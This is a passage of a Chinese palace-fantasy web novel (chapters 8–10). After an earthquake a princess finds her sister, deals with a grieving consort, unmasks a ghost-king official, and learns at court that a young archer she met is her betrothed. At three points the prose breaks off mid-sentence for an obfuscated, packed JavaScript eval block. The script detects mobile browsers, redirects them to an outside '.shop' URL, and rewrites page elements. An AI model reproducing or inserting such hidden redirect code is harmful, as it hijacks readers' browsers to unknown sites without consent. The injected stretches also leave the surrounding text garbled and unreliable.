在脑子里面过了一遍所有能做的事,最终都只得出一个结论——做什么都尴尬。 逞英雄时觉得自己风光无两,万般情绪全都化为一个“爽”字。直到现在来到灾后,那点心虚又蜂巢流浆一般,密不透风地裹住整颗心。 该怎么解释苍灵大帝的雷电?该怎么解释自己这神兵天降的救场? 大帝!你说句话呀! 赵昭只能装作什么都看不见,寻找曦姐姐和母妃的身影。母妃不一定,但曦姐姐一定是最可靠的那一个。 荆文曲从马上下来,全无瑟缩之态。挺直腰板,就又是铮铮铁骨的臣子了。 刚才趁乱,她竟然小施法术,召出寒气在肩膀断裂处一抚,用冰重新将断臂接了回去…… 现在,除了服装变成了游牧民族的特色模样外,看起来与常人无异。 “殿下,您护驾有功,是大喜事啊。不要紧张,不要紧张。弛也?”她一边装作整理衣物,一边鼓励道。 才刚说完,北边的行宫宫殿摇晃几下,塌了。 临时建的房屋终究不如皇宫结实,一场地震又太强烈,宫殿果然承受不住。 瞬间,赵昭想起,刚才怎么找都没有看到想要见到的两个人。 她几乎下意识地重新催起马,向行宫跑去。 身后众人也反应过来,和这个不要命的前锋一起跑起来。许多人为了避灾都往行宫住处跑了,只怕现在全要被埋在里面! 赵昭正全神贯注,然而余光一扫,身边驰开一道更快更不要命的马。 竟是自己平日就地一坐装作佛的八弟赵叙。 他在马鞍两侧安上了飞行器装置,此刻马不能说狂奔了,四脚离地,完全是不熟悉飞起来的感觉,在挣扎才对! 任马儿颠簸,赵叙坐在上面却稳如泰山,豆大的冷汗从额角沁出。 赵昭这才倏地想起,赵叙原来还有个母妃在行宫。转而,面色更沉。 这不是在诅咒或是骂她。此人是邓嫔,闺名邓思慧。平时存在感实在太低,低得妃子们聊天点兵宫内有多少姐妹时,绞尽脑汁都想不出还差哪一个。 只有皇后布置宫宴时,才会记起还有这号人,发个通知让她参加。 即便如此,也会有妃子在宴会上指着她四处问:“这是谁?我怎么从没见过,来新人了?” 邓嫔几乎从未出来走动过,每天都把自己关在那一方小小的天地里,对赵叙完全是放养。 即便赵叙现在被景乾帝看重,二者也像是切割了,很少被一同提起。 可是看到他那张木头脸上难得的急切,赵昭不禁暗中想到:“看来母子关系也不那么糟……真是冤孽。” 两人几乎没有停留,各自急停在坍塌的宫殿前,冲进了尚未损毁严重的院里。 本身宫院中的屋子也没几间房间,赵昭却没有看到曦姐姐和母妃。哪怕知道横在地上的木头下面不可能有人,她也要费全身力气翻开看看。 案桌下,床榻下,梳妆台下,全部看过了。可是人呢?人去哪了? 一阵酸翻上了鼻尖,心中焦躁越发烧上心头,烧进脑中。她跪在地上,几乎是在摔那些贵重器物了,却还是一无所获。 “昭儿!” 闻到那股淡淡的茉莉香,赵昭喉头一紧。 她从地上狼狈爬起,一阵细针刺麻瞬间爬上小腿。顾不得这些,一头扑进来人怀里:“曦姐姐!” 曦姐姐本想抽出手绢,可是事发突然,竟不知什么时候丢了。于是,只得折起衣袖擦擦她脸上的泪痕:“不哭了,嗯?让昭儿担心啦,是我不好。” “你去哪了?我还以为,你又要不见……”赵昭把她抱得越发紧,埋在她胸口哭哭啼啼。 “母妃害怕,硬要拉我一起进轿子躲着。结果刚才我看一群人跟着你跑,就猜到你要来找我们,先行下轿骑马去了。” 曦姐姐一边把手指插进她的头发里往下顺,一边哭笑不得:“她看我跑了,心也急,也要下轿,结果摔了一跤,摔得头疼腿疼胳膊疼,一时半会应该过不来了。” 赵昭被逗笑了,“噗嗤”喷出鼻涕来:“母妃还是这样。” 有了曦姐姐陪在身边,她心里的各种焦虑敏感情绪瞬间消解大半。 两人并排走在道上,不消片刻赵昭就眉飞色舞给曦姐姐讲:“你肯定看到我的英姿了。多亏你的箭袋,哦对,还有怀钰的弓!合成大神器来了!” 曦姐姐疑道:“怀钰是谁?” “哎呀,这个……” 赵昭真想抽烂自己这个死嘴。纠结片刻,才道:“一个……一个长得很漂亮,说话又有点奇怪的小公子!总之是个人,你别管太多……啊。” 直到现在要想办法转移话题时,她才猛然想起,赵叙还在找邓嫔。 话在嘴边,却怎么也说不出口。 曦姐姐看她神色不对,问:“怎么了?” “……叙儿也来了,在找邓嫔娘娘。从刚才开始,一直没见到他。”她低下头,嗫嚅道。 果然如赵昭所想,空气陷入了一片凝滞中。像是脑中过遍许多思绪,曦姐姐长叹一口气,拉着她的手向左转:“走吧,我们和叙儿一起找。” “哎呀,我说这话不是让你去见她。要不我去她宫里,你不要去了。你好不容易出宫开府了才不用面对她,这么久了——” “别说了。” 赵昭心头一颤,看向曦姐姐。 她面色平静,却已经全无笑意。“总归是我欠她的。” 大约是怕再说错什么,扰到状态显然不好的曦姐姐,赵昭闭上了嘴。两人一路无话,寻到了邓嫔宫前。 宫门大开,附近零零星星站了几个宫人,与其他宫的热闹放在一起,更显静谧。 “邓嫔娘娘找到了吗?”曦姐姐问道。 宫人刚要回话,屋内突然爆发出“啊!”的一声。 又传来什么木头器物砸在地上的声音后,尖叫的那人又在“啊!!啊啊啊!!!”的发疯。 声音稚嫩,听着竟像是赵叙的。 这下两人都懵了,不知所措地相互对视一眼,一前一后进去了。 见到眼前情形,赵昭身体不受控地颤抖一下。 地上器物胡乱洒了一地,有些沾了鲜血,看颜色像是刚沾上去的。 邓思慧靠在小榻的木腿边,长裙散开在地上,裙边焦黑卷起。小腿、肩膀、额头上的血正往外冒,染红了大片薄衣。 她脸色苍白,双唇与一双眼仁都是灰白色的,正定定盯着前方,没有看她大吵大闹的儿子,仿佛魂魄已经飘远。 明明比赵昭的母妃明妃年纪还小,却像是油尽灯枯了。 “妹妹、妹妹!你永远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522307|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只记得妹妹!她已经死了,已经回不来了,你现在这样是想和她一起死吗!!!” 赵昭这才发现,赵叙的脚边散着几具白骨,一动不动。他手上紧紧攥着没用完的符咒,似乎完全不在意上面附着的火焰已经烧到了他的手。 想来刚才她们不在时,有几只不死心的白骨来到了行宫,想要抓几个人下去陪葬,正好被赵叙解决了。 听赵叙的话,当时情形应该是,邓思慧任由白骨攻击,不逃不还手。 饶是曦姐姐,脸色也越发难看。刚才她弯腰,已经捡起了被赵叙砸散的木玩具。 是枚用粉绳坠着铃铛的鲁班锁。模样像是崭新的。 “你什么时候能管管我?你以为我每天研究兵器是为了谁?为了你!为了让你不要在宫里受欺负,让别人高看我们一眼!” “别人怎样对我,我不在意,只想让你好好活着!你却,你却……” 赵叙的眼泪早已控制不住地在脸上留下四道痕迹,石头似的砸到地毯上,晕开一圈水痕。 “我不管你了,你爱死死去吧!”他最后大叫一声,撞开想要拦住他的赵昭,撞开叮当作响的珠帘,冲出宫去。 如此闹剧,邓思慧从头到尾,连眼睛都没有动一下。 本来以为母子关系还不错,没想到局面闹得这么难看。 赵昭觉得就这样六眼不相对的干瞪眼也不是事,又见邓思慧一副要死的样子,赶紧要推着曦姐姐往外走。 偏生曦姐姐也是个倔的,站在原地纹丝不动,说道:“邓嫔娘娘。” “你怎么偏要叫这一下,做什么?又要讨晦气?”赵昭要气晕,在她耳边小声道。 谁知,曦姐姐这么一叫,那双死人眼仁竟然动了。 邓思慧的头僵硬转到这边,看向两人。 “邓嫔娘娘,已经过去很多年了,许多事许多人都已经不在了。九妹不是曦姐姐害死的,您不要再迁怒于她了,也请您不要终日沉溺在悲痛之中。” 赵昭上前一步,拦在赵曦前面。赵曦要把她拉开,赵昭就一把推开她的手,让她向后趔趄几步,离远点。 “……” 邓思慧的嘴唇微不可察地颤抖着。少顷,喃喃道:“……你长大了。” “我?我当然长大了。两年没见,总会变的。” 赵昭如临大敌:“邓嫔娘娘也变了。以往见到叙儿,您好歹会笑一笑,了了伤害自己的心。现在却是一心求死,非要往那黄泉去了。” 这话说着实在是大不敬,放在平时赵昭是绝对不会说出来作死的。 然而面对邓思慧,她当真人嘴里吐不出人话来。丧女固然可怜,可是一直作此姿态,要所有人都欠她才甘心吗? “无论如何,您不该求死,不该这样对叙儿。”曦姐姐一伸手,竟然把那散架的孔明锁拼好了,还紧了紧上面摇摇欲坠的铃铛。 “若您怨我,还请打我骂我个够,不要迁怒自己,不要迁怒叙儿。活着的人尚在,请您有什么冤屈都对我来,不要辜负他人。” “不行,您实在生气还是打我吧!曦姐姐现在天天待在屋里不动,不耐揍,我更抗打!” 赵昭说着直接一个滑跪趴到邓思慧面前,把脸凑上去,决绝一闭眼。 看她这副模样,邓思慧要死不活的一张脸居然动了动,扯出个微笑来。 她轻轻抬手挥了挥:“走吧。” 8. 思难舍8 赵昭和赵曦都呆住了。 邓思慧居然就这样叫她们走? 在赵昭两年前记忆中那个版本里,邓思慧平时不鸣则已,一鸣是要把宫里全部东西扔在曦姐姐身上,再用尽平生最脏的话骂她的。 对别人不声不响,十分透明。可一旦曦姐姐出现,她似乎就会被调起所有的情绪,闹出滔天动静。 难不成短短两年,一个人的心性就可以揉扁搓圆,从顽石变成个汤圆? 不过赵昭巴不得赶紧走人,谁知道她发哪门子疯,说不定一会就又变卦了。 赵曦把孔明锁轻轻放在旁边一张案几上,上下打量邓思慧一遍,跟着赵昭离开了。 出了宫门,走在半路,就撞上了匆匆赶来的太医。看赵叙那架势,大约是宫人把太医叫来的。 赵昭伸手,捏了捏曦姐姐的手腕,道:“你别为她劳心费神。九妹那病,不怪姜……你生母娘娘,更怪不到你头上。” 曦姐姐又叹了一口气。 “可是九妹的病,的确是因她染上的。我想邓嫔娘娘也是实在没了泄气口,才这样对我的。算了,随她去。” 如果放在从前,赵昭肯定要嘴上争辩几句。今天发生的事太多,她就熄了火,不再说话。 “昭儿。” 曦姐姐重新提高了一些语气,放柔声音。“你那雷电,怎么回事?真的是召来苍灵大帝了吗?” “……其实我也不知道怎么回事。我只是射了一箭,它自己就劈下来了!我瞧着也不像神罚啊?” 苍灵大帝虽然会因为统治者无能而暴怒,但也不会干涉人间过多事务。就譬如今天荆文曲这场地劫,在她眼里应该也只是不足挂齿的小事。 “说来,其实不光雷电,那些骨头也很奇怪。”曦姐姐思索道。 赵昭却是暗自想,呃,这就不太方便回答了。她自己都拿不准的事,不敢贸然告诉曦姐姐,平白惹上麻烦。 说来说去,地劫的事赵昭打太极磨洋工,一个劲附和“奇怪奇怪真奇怪”; 神罚的事更是讨论半天没个结果,甚至疑点越来越多,只当天机不可泄露,索性作罢。 但这并不代表整件事就这么完了。 一场盛大的、将要举办大半个月的南芜春蒐,原本万事俱备,谁能料到发生了这种事。 景乾帝自然是大怒,当即找各方问责,尤其是钦天监的那群道长们。 奇的是,道长们纷纷表示是他们神器镇守不利,不慎放出了恶鬼。 好在清点人员后,确认在场只有十几人受伤,无人死亡。地震范围说也奇怪,只在春蒐猎场所在的这一小片地方,并未波及附近百姓。 不出半天,景乾帝就命众人回京,祭告宗庙。 赵昭随便换上一件干净些的外套,就上了轿子。一个上午忙下来,已经筋疲力尽,马是丝毫骑不动了。 手旁还放着颜怀钰的槐木弓,和空了的箭袋。弓上多了许多刮痕,原本被颜怀钰说稀奇的玉佩也不见了,只留下用于挂玉的金绳。 赵昭不自觉地一边放飞思绪,一边摩挲弓身。回去后,一定要将这一切告知父皇,除却寻常赏赐外,还要让他赏颜怀钰副新弓,要按照他喜欢的尺寸规格来。 至于曦姐姐,更是不必说,四公主府必须要风风光光嘉奖。 “六殿下。” 正在赵昭在脑中分配赏赐时,耳边冷不丁传来空虚幽深的一道声音。 左右环顾四周都没有看到乌纱帽的影子,摸了摸耳垂,才发现触及了一缕冰凉的黑烟。 “这是我的小魂,分出来一道来找您了~”荆文曲的语调总是如唱戏一般,轻飘飘又百转千回的。刚才的战斗中难免显得滑稽,此时却还算动听。 “来得正好。” 赵昭把黑烟从耳朵上抓下来,放在手里转圈。“我问你,你祖上是北方的?” 荆文曲的声音被甩得忽远忽近:“啊~~~六殿下~~~您真调皮~~~” “不要说别的,回答我的问题,荆大人。”赵昭把黑烟拉长,编起平安结来。 “哈哈,您当真料事如神……”荆文曲尴尬打个哈哈,“对了,您对算卦有兴趣吗?天意告诉我您今日不宜多思哦,哈哈——” “你是不是‘朔漠鬼王’?” 荆文曲沉默了。 赵昭猜到她会这样,又把平安结拆了,把黑烟铺平就要开始折蝴蝶:“钦天监的道长们如果知道你这个厉鬼,肯定不会坐视不管。这次帮你把所有责任揽了下来,除了你是那‘朔漠鬼王’,我想不到别的解释。” 荆文曲声音逐渐扭曲:“您……您为何如此笃定?” “你之前说你是三朝前的遗老时,我就在想这个问题了。苍灵大帝征服了北方的驻世邪灵后收归自己麾下,这很合理吧?” 赵昭把黑烟挂在窗边,任她随风乱飞。“不过我倒是不明白为什么你要遮遮掩掩的,不告诉父皇。” 荆文曲看她把自己的身份完全捅穿,也不挣扎了,干笑道:“拿您没办法了。这算是……我的一点任性。” 赵昭眨眨眼,表示“洗耳恭听”。 “三朝前,我兄弟姐妹们夺嫡杀得你死我活,当真让我这个闲散公主胆寒,不愿管那麻烦事!就逃来了人间。” “谁知不消三天,冥间的鬼差如今日一般抓我回去。我怎么说也不肯,大帝就帮我灭了他们。她知道我平日喜欢造点房子,挖挖水坑,就让我进工部干活。” 苍天,本就是怕麻烦才来的人间,还要上朝,这也忒惨。 话说回来,也没想到朔漠鬼王的收服居然这么随意。 罢了,反正本人也不是什么正经鬼。倒不如说随意才是情理之中吧!谁家狂酷拽鬼王热衷于亲自上手搞土木啊! “最开始别人知道我身份时,全都怕我。吹捧谄媚果然不宜多听,但凡每日听到十句以上,必然让人犯呕!所以后来大帝飞升后,我改头换面,以寻常身份重新科举入朝。” “谁知这群人当即不认我了。明明图纸与曾经无异,偏偏有人要么拼命打压我,要么拿我的去邀功!没想到重活一世,竟然还这么恶心!” 果然很惨。身为“支配他人者”时,和身为“被人支配者”时的恶心,全让她碰上了。 “我越发不服气。难道曾经捧我的那些人全是因为我是所谓‘朔漠鬼王’吗?于是,我便决定,以后每朝都要重新来过,直到我以实力证道为止。” 没想到此鬼王竟然还挺有心气。能凭自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522308|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做到工部尚书,也算有毅力了。 赵昭问:“所以你是纯凭个人兴趣留在人间的?钦天监每次都任由你瞎闹,帮你背负所有?” 荆文曲的黑烟马上扭动起来:“非也,非也啊!我可没那么没品。大启一向少有邪祟来犯,就是因为有我坐镇,这可给道长们省了不少力。” 赵昭捏她,让她定住:“那你这么强,怎么现在应对地劫还要大帝帮忙?” “前阵子犯了些事,被大帝收回了点法力,地下压的那帮小子就又上来了……” 荆文曲乖乖道:“那个……六殿下,我想拜托您一件事。” “什么?” “请您以后不要叫我‘驻世邪灵’,或者‘朔漠鬼王’,好吗……”她在说两个称号前,都顿了顿。“实在是……过于羞耻,货不对板。” “‘邪’在哪,我明明很正直啊!还有‘朔漠’二字,与‘高岭之花’何异?折煞我也!” 此刻看不到她的脸,赵昭却莫名能感觉到她在摔头上那顶乌纱帽。 也对,这大抵就是在叫人人名前硬要加个“邪魅狂狷冷傲无敌”一类头衔的感觉,以邪者之邪反衬正者,即苍灵大帝之正,十分尴尬。 “哎哟,瞧我真是和您聊得忘情。不说我了,六殿下,我是想来问问您,想好怎么面对陛下了吗?” 赵昭的嘴开了又闭闭了又开,如此反复,最终道:“先让他赏曦姐姐,再让他赏怀钰公子,最后感谢天地感谢祖宗——” “您这一救场,都快赶上多少人的祖宗了?该想想您自己呀。” 黑烟扶额。“这样,彼时我附在您耳边,您跟着我说。” 赵昭莞尔:“好呀。” 一路平稳,没有再生变故。一群人又在宫里进进出出,忙内忙外,终于在太阳落山之际,景乾帝传召,要召见明妃、赵曦和赵昭。 在母妃和曦姐姐喜滋滋地一番打扮下,赵昭略施粉黛,被宫人侍奉换了一身齐胸襦裙,飒爽之姿尽退,只余端庄。 对镜看过,果然自己生得还是很美。不是曦姐姐那种不食人间烟火的美,是灵动俏皮的甜美。 赵昭于是相当满意,提裙就骑上马,悄悄带着荆文曲的一缕魂魄走了。 皇宫内就是不如行宫清新雅致。想起在杏花山上跑前跑后的那几天,赵昭怎么看这正红色的宫墙怎么不顺眼。 吵闹过后,实在有点思念杏花山中的静谧了。 来到了父皇的乾清宫。 赵昭极少踏足这个地方,为数不多和景乾帝日常中见面,也是他偶尔来了兴趣,知道赵昭喜欢看闲书,就给她两本再聊两句。 不过赵昭虽然嘴上迎合,私底下常觉得,老东西对书中人物看法也太极端!讨厌的就要一脚踩在地上,实在难以交流。 乾清宫的金碧辉煌,晃得赵昭眼睛要瞎。皇帝皇后一个坐在龙椅上,一个坐在旁边椅子上,等着明妃一众人来。 这对夫妻仿佛往那一站就有金光笼罩,光环太甚,实在令人难以直视。 “我们未来的神武将军昭儿凯旋归来啦?”皇后见到她们来,脸上立刻笑起,凹下浅浅梨涡,为那原本应当英气的面庞平添几分蜜意。 她吩咐道:“快坐。辛苦你们了。” 9. 思难舍9 景乾帝此时正端坐在龙椅上,听明妃几人来了,合上手边奏折,抬头看来。 登基的时候浓眉大眼,剑眉星目,还能算是个帅哥。然而现在已经几十年过去了,脸型已经发腮成国字脸。 眉眼间还杀气腾腾,笑一笑像是要剁人几斤肉下来。 明妃在皇后面前已经练就一身无视神功,不论她说什么,都先面无表情地蹲身行礼:“参见皇上,皇后娘娘。” “这么拘谨做什么?快坐。听青云说你近来画工大有进益,什么时候给朕画一张看看?”景乾帝笑意渐浓,让三人排排坐。 明妃其实一向是有点怵他的。此刻只得又从座位上起来蹲下行礼:“皇上若是想要,臣妾明天就可以送一幅过来。” 景乾帝道:“那便说好了,明天朕亲自去取。” 皇后见状,跟着笑起,道:“明妃妹妹平时专心精进画技,孩子也养得十分好。” 荆文曲的小魂在赵昭耳边“哎哟”一声,拍了两巴掌耳垂:“六殿下,不瞒您说,我曾经也做过宫内内侍。按照正常发展来说,接下来皇后娘娘怕是要……不可说了。” 赵昭目移。她也这么想。 果不其然,皇后缓声道:“曦儿乖巧懂事,出宫这两年来在诗宴上才惊四座,何人不赞一句四殿下才思敏捷?” 她婉言一转:“这便罢了。昭儿更是不同凡响,春蒐十箭惊雷救人于水火之中。此等架势,倒让臣妾想起当年陛下英姿。想来大帝在天上,也是对昭儿赞赏有加的。” “陌儿那天便对臣妾说,六姐姐果然厉害。他这般每天习武习课至三更才歇,终究不及陛下南征北战之勇武,不及昭儿早慧。” 景乾帝听完“哈哈”一笑,未置一言,只是看着赵昭。 赵昭也看着景乾帝,平淡无波。 其实心中已经吐槽许多——这赵陌还是赵陌吗,脱离人物设定了吧!他怎么可能说出这么像人话的话来? 荆文曲还没给出对策,曦姐姐已经抢先开口:“承蒙母后厚爱了。昭儿才经春蒐一次磨砺,怎及陌儿年复一年的精锻?又怎及父皇数年渡过数道难关,屡屡立功?一时功绩,难保日后如何。陌儿还小,这般坚毅,日后定成大器。” 皇后轻轻摇动手上团扇,道:“道理是如此,自然是要千锤百炼的。只是大帝亲自降下雷电相助,实在是奇观。不知昭儿是如何得大帝青眼的?” 曦姐姐一听这话是明着问赵昭了,没法插嘴,哪怕是编个谎也不行,只能看向她。 结果这位整场对话的中心倒是气定神闲,向曦姐姐一眨右眼,道:“儿臣是觉得,大帝未必助的是儿臣。” 皇后道:“哦?” “今天这场劫难,大家都在场,是贴身护卫父皇的人。” 赵昭一边听荆文曲的话,一边转译成自己的话:“可是儿臣当时贪玩,跑去了附近的杏花山上,未尽守护之职。众人都在场,各司其职为父皇拼尽全力,儿臣这个闲人自然应当被赋予其余工作。” “所以,大帝应是看中这点,将雷霆法术暂借于儿臣,好让儿臣起码有点事干。攻守兼备,这才击退全部邪祟。归根结底,只是分工不同罢了。儿臣是被偶然选中,并非大帝青眼于儿臣。最终都是在助父皇平息灾乱呀!” 这些话从赵昭嘴里说出来后,一阵胃酸上涌,恶心得不行。 荆文曲真是被荼毒许久,从谄媚讨好中学了个十成十。不管怎样,中心思想就是:好崇拜、全为你、你真棒。 可是一通说辞下来,很有成效! 景乾帝的手指从刚才开始就在一直轻敲桌面,听到此时,脸上才多了几分真正的笑意。 ——区别大概在于,前面是要杀人,现在是要攮人。一个会死,一个暂时死不了。 曦姐姐向前倾来的笔直身体也放松下来,靠向椅背,用一种一半疑惑,一半迷之欣慰的眼神看她。 明妃却是并未松懈,紧紧抓着木椅把手看着皇后。不知这番言论,她又会作何回应? “哈哈。”皇后轻摇团扇。看她阴冷的眼神也柔和了许多……似乎被赵昭,或者说中之人荆文曲说动了?! “昭儿说得不错,大帝曾为陛下托三次梦,想来也是最为看重您的。此次天雷,按理说也是想助陛下的。” 她端起一旁茶杯,润了润喉,继续道:“也幸亏护卫们周到。配合默契,方得平复。陛下也该多赏出力者,陌儿的射御两术恐怕是继承了爹爹呢。” 荆文曲道:“嗯,目前形势还不错。这次除您以外最大的功臣就是独孤氏了,对您,明妃娘娘和四殿下也有莫大助力。” 果然她严肃不过三句,又感叹道:“皇后娘娘怎么这么好说话?我都准备好三种应对办法了!” 赵昭也觉得奇怪。虽然刚才依然阴阳,可现在的语气里怎么也听不出要找事的意思。 莫不是想起同为独孤氏子弟,想和母妃一起为独孤氏讨赏? 景乾帝听皇后这样说,略一沉吟,道:“赏,自然是要赏。独孤氏满门忠良,赏!昭儿更是要大赏,赐嵌宝鎏金战甲一件,白银六千两。” 说罢,突然脸色一黑。 “原本还有要赏你的,可惜突发天灾,这次是见不到了。” 明妃和曦姐姐对视一笑,本来要行礼道谢。听到此处,动作都一顿。 赵昭四下看一眼,发现好像只有她自己被蒙在鼓里,疑问道:“父皇,儿臣想知道是什么?” “你的驸马。” 四个字过后,殿内彻底陷入一片平静。 随后,赵昭炸了:“驸、驸、驸、驸、驸马?!” 皇后团扇掩面轻笑:“昭儿,不记得母后和你说什么了?你如今十四岁,再过一个月便是十五岁生辰了。那时就要出宫开府,和驸马结亲去了。” 赵昭几乎要昏倒,不省人事。 无法接受,无法接受!她自觉已经老了,再过几十年就要死了。果然光阴似箭,岁月如梭,寒窗苦读话本十四年,怎地就要出宫开府了? 然而,左右脑又不禁互搏起来。 出宫开府,意味着远离父皇,这简直是天大的喜事。要拉拢势力夺嫡,可以轻松不少。 景乾帝还以为她高兴得要死,补充道:“给你找的人资质是相当不错的。可惜了,没让你见到燕公子。” 燕公子。 燕、公、子?! 赵昭复又垂死病中惊坐起,问道:“是……燕怀珏公子吗?” 在座其余人都一惊。景乾帝问:“你怎么知道?” 许多零散小点,都在赵昭的脑中串成了一条线。 在春蒐大典正式开始前的三天里,大臣们已经被赐吃过席,彼此间热络几分。 大家也都能看到,燕氏人来了南芜春蒐,与独孤氏官员竟然都会点点头,聊上两句。 他们的席也凑一块吃过两三次,还没有人吃死。 燕氏一位要臣名为“燕篆”,曾是户部尚书。年纪轻轻,尚有一名儿子“燕怀珏”。后来就因独孤氏与燕氏的矛盾,心灰意冷,向景乾帝递了辞呈。 不知是心中有愧,还是惜才,景乾帝怎么说也不肯让他就这样走。最后,两方各退一步,调燕篆去第二京——深京,做户部尚书, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522309|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远离了朝堂。 深京仍然设有六部,与京中六部的品级相同。可是大臣们都知道,深京的六部只是清闲之地,没多少实权。 闹到这种地步,两边对彼此都没什么好脸色。后面数年诸如弹劾下套这样明面暗面的争斗也不少,大臣们嗑瓜子看得津津有味。 可现在,燕篆来了南芜春蒐。他们都表现得像没事人一样,甚至有关系好转的势态。说好的“有独孤则无燕”呢? 实在让人犯嘀咕,用“重大庆典不容胡闹”这类理由解释也显得有些牵强。 听了乾清宫这群人的说辞,赵昭才明白,到底怎么回事。 燕怀珏这次出面,只怕是专门为了她准备的吧! 仇家要变亲家啦!! 赵昭只觉脑袋好痛,痛苦道:“……关于此事,儿臣有两件事想问父皇。” 景乾帝点头。 赵昭道:“第一件事是,这位燕公子是否从未出席过春蒐宴会,抱病在床休养?” 景乾帝思索片刻,答:“不错。” 赵昭的心脏跳得越发剧烈:“第二件事是,这位燕公子在校箭礼上,是否头戴银冠、身着玄袍?” 又补充道:“哦,还有,面如冠玉,长得十分俊美?” 景乾帝一拍桌子:“就是他。” 又一个悬而未解的谜题有了真相。 赵昭简直想扶额:“只怕儿臣早已见过燕公子了。在行宫附近的杏花山上,儿臣偶然见到他在练习射箭。” 景乾帝和皇后一愣,随后心知肚明地笑了笑。皇后道:“燕公子还挺有心的。” 曦姐姐听这话,似乎也懂了些什么,喃喃道:“怀钰……” 颜怀钰,燕怀珏。 这个化名起得过于欲盖弥彰,赵昭心中其实早有几分猜测。 可是没想到,燕怀珏竟然会是她的驸马。 既然这样,难道两人在杏花山的相遇,是他精心设计好的一场邂逅吗? 不知为何,本是清新的山风,一旦染上“奉旨”二字,就像将她置于四面芭蕉扇之中。 只是因为扇得快,才隔绝了宫中早已毫无样式变化的香薰而已。 赵昭行礼,道:“父皇,实不相瞒,此次镇灾,有两人鼎力相助。如果不是他们,只怕儿臣领命有心无力。” 景乾帝奇道:“还有高人相助?” 赵昭正色:“是高人,定是高人。头一个高人,就是曦姐姐。在儿臣临行前,她担心儿臣回不来,就给了儿臣箭袋。此乃神器之一;” “第二位高人,就是燕怀珏公子。儿臣遇见他在为校箭礼做准备,后来匆匆离去,他将贴身槐木弓交给了儿臣。此乃神器之二。” 景乾帝听着起劲,仿佛对两人发展神速非常满意,潇洒一挥手:“好!这个也赏!曦儿,一会儿你随朕去库房里挑喜欢的典籍,另附三千两白银。至于燕氏,朕自有安排。” 像是想起了什么,景乾帝的语气骤然冷下来,道:“如果他也能像你一样懂事就好了,曦儿。不纠缠于过去,举止得当,是明妃教得好。” 明妃像被冻住了,被曦姐姐若无其事地拉下来受赏,才勉强回一句“哪里哪里,是皇上垂青”。 听到那句“不纠缠于过去”,赵昭心里“咯噔”一下,手蓦地攥紧。 “不论父皇要赏什么,请您再为燕公子加一副好弓。他给儿臣的槐木弓上已经多了许多划痕,儿臣对不起他。”她见气氛忽又降至冰点,赶紧抱拳道。 “这好说。既然你二人已经见过,朕就没什么好担心的了。”景乾帝这才端起手边茶,喝了一口。 10. 闲判官1 南芜春蒐没有了,改为夏苗。不但如此,赵昭每个下午武课后还要去苍灵观中祈福祝祷,和其他皇室中人一同向大帝告罪。 毓文殿当然还没有修好。赵叙一炮不仅仅把宫墙殿宇轰塌了,还把地基结构震碎了。与其说是修,更像是重建。 至于后来邓思慧那边,母子两人都平安从行宫回来了。只是,赵叙更加专注在军器局研发,很少回宫了。 一周过去,赵昭骑着马哼着小曲来到国子监。 春蒐异象被景乾帝嘱咐“不可外传,不可议论是非”,但是国子监内许多监生要么父母亲戚就在现场,要么会听到一点风声。 嘴上不宣,对赵昭的态度却是越发恭敬。即便她最开始心虚,现在也难免尾巴翘上天,得意起来。 反观赵陌,每天脸色阴得像能滴出水,变成张和景乾帝一样的杀人脸,更加刻苦用功。 太子被瞧不上的公主姐姐抢了风头,这的确让他的自尊心遭受一记重击。赵昭就不去招惹他,和监生们打成一片。 然而,今天的国子监气氛有些不同。 勤勉读书依然是大多数监生的常态,可也有些八卦的、和赵昭相熟的,见到她就笑得灿烂。本来话就多,今天话格外多,神神秘秘和她打哑谜,一个个搞得和对暗号一样,让赵昭一头雾水。 直到根据监生们嘻嘻哈哈的指引,她才来到了一处长廊下。 此处向阳面,廊边有几处正被微风轻轻吹动的桃花树,还有一片澈湖。大片银斑落在湖面,照起波光粼粼,又从树叶缝隙间跃出,流转在廊间。 平时监生们贪恋此地美景,有些会在这里看书。现在,却格外冷清。 这也让赵昭一眼就看见了一个依在美人靠上的美人身影。 他手中拿着一本书,正在低头静静看着。身后桃花恰到好处修饰着他的身形,头上身上柔光上下跳动,想必没有人看了会不赞一声“美人如画”! 可惜赵昭或许不能算个人,是那“没有人”之列中的一份子。 自从知道了燕怀珏是她的驸马后,重新回顾他的种种行为,都让赵昭心情越发复杂。 这个国子监监生形态的燕怀珏,梳了个低低的马尾搭在胸前,穿了一身嫩绿薄衣。一看就是费心打扮过,又找好了角度的! 之前在杏花林里一定也是这样!蓄意,故意,刻意! 